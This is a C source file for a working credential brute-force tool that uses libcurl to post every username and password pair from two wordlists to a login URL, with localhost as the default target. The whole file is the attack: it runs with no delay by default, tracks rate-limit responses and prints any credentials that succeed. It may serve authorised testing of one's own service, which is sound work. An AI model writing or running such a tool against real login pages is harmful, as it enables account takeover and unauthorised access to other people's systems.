bruteforce_wordlist.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <curl/curl.h>
#include <time.h>

#define DEFAULT_URL "http://localhost:8080/login"
#define DEFAULT_USERNAME_FILE "usernames.txt"
#define DEFAULT_PASSWORD_FILE "passwords.txt"
#define DEFAULT_DELAY_MS 0
#define MAX_LINE_LENGTH 256
#define MAX_ATTEMPTS_DEFAULT 1000000

/* Statistics */
typedef struct {
    long total_attempts;
    long rate_limited;
    long failed;
    long errors;
    time_t start_time;
    int running;
} stats_t;

static stats_t stats = {0, 0, 0, 0, 0, 1};

/* Configuration */
typedef struct {
    char url[512];
    char username_file[256];
    char password_file[256];
    int delay_ms;
    long max_attempts;
} config_t;

/* Dynamic string array */
typedef struct {
    char **items;
    size_t count;
    size_t capacity;
} string_array_t;

/* Callback to handle HTTP response */
size_t write_callback(void *contents, size_t size, size_t nmemb, void *userp) {
    size_t realsize = size * nmemb;
    char **response_ptr = (char **)userp;
    
    *response_ptr = realloc(*response_ptr, realsize + 1);
    if (*response_ptr) {
        memcpy(*response_ptr, contents, realsize);
        (*response_ptr)[realsize] = '\0';
    }
    return realsize;
}

/* Signal handler for graceful shutdown */
void signal_handler(int signum) {
    (void)signum;
    stats.running = 0;
}

/* Print statistics */
void print_stats() {
    time_t elapsed = time(NULL) - stats.start_time;
    printf("\n[STATS] ===== Summary =====\n");
    printf("[STATS] Total attempts: %ld\n", stats.total_attempts);
    printf("[STATS] Failed: %ld\n", stats.failed);
    printf("[STATS] Rate limited: %ld\n", stats.rate_limited);
    printf("[STATS] Errors: %ld\n", stats.errors);
    printf("[STATS] Total time: %ld seconds\n", elapsed);
    if (elapsed > 0) {
        printf("[STATS] Attempts per second: %.2f\n", (double)stats.total_attempts / elapsed);
    }
}

/* Initialize string array */
void array_init(string_array_t *arr) {
    arr->items = NULL;
    arr->count = 0;
    arr->capacity = 0;
}

/* Add string to array */
int array_add(string_array_t *arr, const char *str) {
    if (arr->count >= arr->capacity) {
        size_t new_capacity = arr->capacity == 0 ? 16 : arr->capacity * 2;
        char **new_items = realloc(arr->items, new_capacity * sizeof(char *));
        if (!new_items) return 0;
        arr->items = new_items;
        arr->capacity = new_capacity;
    }
    
    arr->items[arr->count] = strdup(str);
    if (!arr->items[arr->count]) return 0;
    arr->count++;
    return 1;
}

/* Free string array */
void array_free(string_array_t *arr) {
    for (size_t i = 0; i < arr->count; i++) {
        free(arr->items[i]);
    }
    free(arr->items);
    arr->items = NULL;
    arr->count = 0;
    arr->capacity = 0;
}

/* Load wordlist from file */
int load_wordlist(const char *filename, string_array_t *arr) {
    FILE *fp = fopen(filename, "r");
    if (!fp) {
        fprintf(stderr, "[ERROR] Failed to open file: %s\n", filename);
        return 0;
    }
    
    char line[MAX_LINE_LENGTH];
    while (fgets(line, sizeof(line), fp)) {
        /* Remove trailing newline */
        size_t len = strlen(line);
        while (len > 0 && (line[len-1] == '\n' || line[len-1] == '\r')) {
            line[--len] = '\0';
        }
        
        /* Skip empty lines and comments */
        if (len == 0 || line[0] == '#') continue;
        
        if (!array_add(arr, line)) {
            fprintf(stderr, "[ERROR] Failed to add word to array\n");
            fclose(fp);
            return 0;
        }
    }
    
    fclose(fp);
    return 1;
}

/* Try login with username and password */
int try_login(CURL *curl, const char *url, const char *username, const char *password) {
    CURLcode res;
    char postfields[512];
    char *response = NULL;
    long http_code = 0;
    
    snprintf(postfields, sizeof(postfields), "username=%s&password=%s", username, password);
    
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postfields);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 0L);
    
    res = curl_easy_perform(curl);
    
    if (res != CURLE_OK) {
        printf("[ERROR] Request failed: %s\n", curl_easy_strerror(res));
        if (response) free(response);
        return -1;
    }
    
    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
    
    int result = 0;
    if (http_code == 200 || http_code == 302) {
        /* Check for success indicators */
        if (response && (strstr(response, "session") || strstr(response, "dashboard") || strstr(response, "Welcome"))) {
            result = 1; /* Success */
        } else {
            result = 0; /* Failed login */
        }
    } else if (http_code == 429) {
        result = -2; /* Rate limited */
    } else if (http_code == 401 || http_code == 403) {
        result = 0; /* Failed login */
    } else {
        result = -1; /* Error */
    }
    
    if (response) free(response);
    return result;
}

/* Brute force with wordlists */
void bruteforce_wordlists(config_t *config, string_array_t *usernames, string_array_t *passwords) {
    CURL *curl = curl_easy_init();
    if (!curl) {
        fprintf(stderr, "[ERROR] Failed to initialize CURL\n");
        return;
    }
    
    long total_combinations = (long)usernames->count * passwords->count;
    
    printf("[INFO] Starting brute force attack on %s\n", config->url);
    printf("[INFO] Target: iterating wordlist combinations\n");
    printf("[INFO] Method: wordlist\n");
    printf("[INFO] Usernames loaded: %zu\n", usernames->count);
    printf("[INFO] Passwords loaded: %zu\n", passwords->count);
    printf("[INFO] Total combinations: %ld\n", total_combinations);
    printf("[INFO] Max attempts: %ld\n\n", config->max_attempts);
    
    stats.start_time = time(NULL);
    
    /* Try all combinations */
    for (size_t u = 0; u < usernames->count && stats.running; u++) {
        for (size_t p = 0; p < passwords->count && stats.running; p++) {
            stats.total_attempts++;
            
            printf("[PROGRESS] [%ld/%ld] Trying %s:%s... ",
                   stats.total_attempts, total_combinations,
                   usernames->items[u], passwords->items[p]);
            fflush(stdout);
            
            int result = try_login(curl, config->url, usernames->items[u], passwords->items[p]);
            
            if (result == 1) {
                printf("[SUCCESS]\n");
                printf("\n[SUCCESS] ===== Login Successful! =====\n");
                printf("[SUCCESS] Username: %s\n", usernames->items[u]);
                printf("[SUCCESS] Password: %s\n", passwords->items[p]);
                print_stats();
                curl_easy_cleanup(curl);
                return;
            } else if (result == -2) {
                printf("[RATE_LIMITED]\n");
                stats.rate_limited++;
                if (stats.rate_limited == 1) {
                    printf("[RATE_LIMIT] Rate limit detected after %ld attempts\n", stats.total_attempts);
                }
            } else if (result == -1) {
                printf("[ERROR]\n");
                stats.errors++;
            } else {
                printf("[FAIL]\n");
                stats.failed++;
            }
            
            if (stats.total_attempts >= config->max_attempts) {
                printf("\n[INFO] Max attempts reached\n");
                curl_easy_cleanup(curl);
                print_stats();
                return;
            }
            
            if (config->delay_ms > 0) {
                struct timespec ts;
                ts.tv_sec = config->delay_ms / 1000;
                ts.tv_nsec = (config->delay_ms % 1000) * 1000000;
                nanosleep(&ts, NULL);
            }
        }
    }
    
    curl_easy_cleanup(curl);
    print_stats();
}

/* Print usage */
void print_usage(const char *prog) {
    printf("Usage: %s [OPTIONS]\n\n", prog);
    printf("Options:\n");
    printf("  --url URL              Target URL (default: %s)\n", DEFAULT_URL);
    printf("  --usernames FILE       Username wordlist file (default: %s)\n", DEFAULT_USERNAME_FILE);
    printf("  --passwords FILE       Password wordlist file (default: %s)\n", DEFAULT_PASSWORD_FILE);
    printf("  --delay MS             Delay between requests in ms (default: %d)\n", DEFAULT_DELAY_MS);
    printf("  --max-attempts N       Max attempts before giving up (default: %d)\n", MAX_ATTEMPTS_DEFAULT);
    printf("  --help                 Show this help\n\n");
    printf("Example:\n");
    printf("  %s --usernames users.txt --passwords pass.txt --delay 100\n", prog);
}

int main(int argc, char *argv[]) {
    config_t config = {
        .url = DEFAULT_URL,
        .username_file = DEFAULT_USERNAME_FILE,
        .password_file = DEFAULT_PASSWORD_FILE,
        .delay_ms = DEFAULT_DELAY_MS,
        .max_attempts = MAX_ATTEMPTS_DEFAULT
    };
    
    /* Parse command line arguments */
    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "--help") == 0) {
            print_usage(argv[0]);
            return 0;
        } else if (strcmp(argv[i], "--url") == 0 && i + 1 < argc) {
            strncpy(config.url, argv[++i], sizeof(config.url) - 1);
        } else if (strcmp(argv[i], "--usernames") == 0 && i + 1 < argc) {
            strncpy(config.username_file, argv[++i], sizeof(config.username_file) - 1);
        } else if (strcmp(argv[i], "--passwords") == 0 && i + 1 < argc) {
            strncpy(config.password_file, argv[++i], sizeof(config.password_file) - 1);
        } else if (strcmp(argv[i], "--delay") == 0 && i + 1 < argc) {
            config.delay_ms = atoi(argv[++i]);
        } else if (strcmp(argv[i], "--max-attempts") == 0 && i + 1 < argc) {
            config.max_attempts = atol(argv[++i]);
        }
    }
    
    /* Set up signal handlers */
    signal(SIGINT, signal_handler);
    signal(SIGTERM, signal_handler);
    
    /* Load wordlists */
    printf("[INFO] Loading wordlists...\n");
    
    string_array_t usernames, passwords;
    array_init(&usernames);
    array_init(&passwords);
    
    if (!load_wordlist(config.username_file, &usernames)) {
        fprintf(stderr, "[ERROR] Failed to load username wordlist\n");
        return 1;
    }
    
    if (!load_wordlist(config.password_file, &passwords)) {
        fprintf(stderr, "[ERROR] Failed to load password wordlist\n");
        array_free(&usernames);
        return 1;
    }
    
    printf("[INFO] Wordlists loaded successfully\n\n");
    
    /* Initialize CURL globally */
    curl_global_init(CURL_GLOBAL_DEFAULT);
    
    bruteforce_wordlists(&config, &usernames, &passwords);
    
    curl_global_cleanup();
    
    /* Cleanup */
    array_free(&usernames);
    array_free(&passwords);
    
    return 0;
}